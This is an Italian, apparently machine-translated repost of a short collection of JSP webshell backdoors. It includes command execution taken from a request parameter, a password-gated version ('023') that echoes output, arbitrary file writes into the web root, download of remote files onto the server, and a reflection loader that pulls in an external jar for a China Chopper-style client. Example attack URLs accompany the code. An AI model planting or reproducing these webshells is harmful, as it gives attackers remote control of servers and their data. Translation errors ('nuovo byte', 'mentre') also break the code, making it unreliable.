|
|
Pubblicato su 02/01/2015 18:46:57
|
|
|
|

Trasferito da: http://p2j.cn/?p=1627 1. Eseguire comandi di sistema: Eseguire comandi di sistema senza eco: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Richiesta: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Non ci sarà eco dopo l'esecuzione, il che è molto comodo per i rimbalzanti shell. Ci sono echi con la verifica della password: <% if("023".equals(request.getParameter"pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = nuovo byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Richiesta: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Codifica la stringa e scrivila nel file specificato: 1: <%new java.io.FileOutputStream(request.getParameter("f").write(request.getParameter("c").getBytes());%> Richiesta: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Scrivi nella directory web: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f").write(request.getParameter("c").getBytes();%> Richiesta: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Richiesta: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Scrivi nella directory web: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Richiesta: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Scarica il file remoto (se non usi Apache-io utili, non puoi convertire il flusso di input in byte, quindi è molto lungo...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); byte[] b = nuovo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mentre ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Richiesta: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Scarica sul percorso web: <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); byte[] b = nuovo byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; mentre ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Richiesta: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Quattro: Reflection chiama il barattolo esterno, perfeziona la porta sul retro Se non ti piace che la funzione backdoor sopra sopra sia troppo debole e superata, puoi provare questa: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u"))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Richiesta: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Connessione coltello da cucina: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, password 023.
Soluzione: Usa la riflessione per caricare un jar esterno nell'applicazione corrente, e la riflessione esegue il risultato di elaborazione in uscita. request.getParameterMap() contiene tutti i parametri richiesti. Poiché il pacchetto jar esterno è caricato, il server deve essere in grado di accedere a questo indirizzo jar. |
Precedente:La crisi dietro il file di testo TXTProssimo:Crittografia Java MD5, cifratura e decrittografia Base64 Java esegue il codice sorgente dei comandi di sistema
|